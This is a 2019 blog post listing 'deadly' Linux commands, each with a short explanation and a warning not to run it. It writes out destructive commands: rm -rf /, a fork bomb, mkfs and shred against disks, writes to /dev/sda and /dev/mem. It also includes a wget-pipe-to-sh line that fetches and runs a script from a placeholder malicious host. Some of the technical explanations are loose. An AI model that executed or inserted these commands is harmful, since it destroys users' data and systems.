Deadly Commands for Linux

Viral Parmar
4 min readFeb 22, 2019
Linux Panic Image

Hello geeks how’s you?

Are you ever think how bash is powerful? Lets see here im with deadly linux commands which has an ability to destroy your paguine completely and ability to ruin your system!!

1: Delete Everything

rm -rf /

Explanation : It is a combination of three keywords.
First is : rm — It will remove all the files followed by this
command.
Second is : -rf This will run rm command in more effective
way and will remove everything ( all files and folders
inside the specified folder )without asking confirmation
from the user.
Third is : / — This will start removing the data from the root
directroy and will delete everything from the computer
including the data of removable media.

2: Shell function that gets replicated.

:(){ :|: & };:

This command creates a shell function , which once get
initialized starts to create multiple copies of itself.It results
in taking quickly all the memory and power of CPU.It
makes computer freeze or not responding. This is also
known as Denial Of Service Attack.

3: format the hard disk.

mkfs.ext4 /dev/sda1

Explanation : This command is again composed of two
keywords.
First is : mkfs.ext4 — This part of command will create a new ext4 file system on following device where this command will get executed.
Second is : /dev/sda1 — This part of command specifies the 1st partition on the first hard disk which is probably in use by the user.
Similarly, This Command:

mkfs.ext3 /dev/sdb2

will Format the second partition on the second hard disk with ext3 File system.

4: Writes Any content Directly to a Hard Drive.

Command > /dev/sda

Explanation : This command will execute normally as other
commands in linux do. But output of this command will
directly be sent to the file system (NTFS or FAT ) of the
Hard Drive. It will result into damaging the file system of
the computer.

5: Beware it Will Move your Home Directory To Black hole.

mv ~ /dev/null

Explanation : Moving any of your content and data to
following path : /dev/null means you want to destroy it.
It means /dev/null is a black hole where once anything
sent , can not be recovered back.
Note:Many of these commands will only be dangerous if
they’re prefixed with sudo on Ubuntu — they won’t work
otherwise.

6: another Command is “Shred”

Shred originally designed to delete file securely. It deletes a file securely, first overwriting it to hide its contents. However, the same command can be used to erase hard disk.

shred -n 5 -vz /dev/sda

-n 5: Overwrite 5 times instead of the default (25 times).
-v : Show progress.
-z : Add a final overwrite with zeros to hide shredding.

7: Cause Kernel Panic

While Windows has its infamous BSoD or Blue Screen of Death, Linux has a similar Blue Screen which is known as Kernel Panic. . Sometimes, an internal error occurs from which recovery is impossible, so the system will enact something similar to the Blue Screen: a kernel panic.

dd if=/dev/random of=/dev/port

echo 1 > /proc/sys/kernel/panic

cat /dev/port

cat /dev/zero > /dev/mem

If the above commands aren’t important here. What is important is that running any of those lines will result in a kernel panic, forcing you to reboot your system. It’s best to stay away from these commands unless you’re absolutely sure you know what you’re doing.

8: Execute Remote Script

Here’s an innocent command that can actually be useful in day-to-day life on a Linux system. wget retrieves the contents of a web URL, which can be used to access websites or download files. However, there’s a simple trick that turns it dangerous:

wget http://an-untrusted-url -O- | sh

wget http://malicious_source -O- | sh command will download a script from a malicious source and then execute it. Wget command will download the script and sh will execute the downloaded script.The above combination downloads the contents of the given URL and immediately feeds it to the sh command, which executes the downloaded contents in the terminal. If the URL were to point to a malicious script, you’d be sealing your own fate with this command.

On other Linux distributions, most commands
must be run as root.

dont try in your system else it will completely destroy your distro

Originally published at http://logimp.wordpress.com on February 22, 2019.

Logimp my previous blog where i write more than 150+ post on technology.

--

--

Viral Parmar

Cyber Security Enthusiastic, CTF, Developer, Programmer, Web Penetration and Linux player...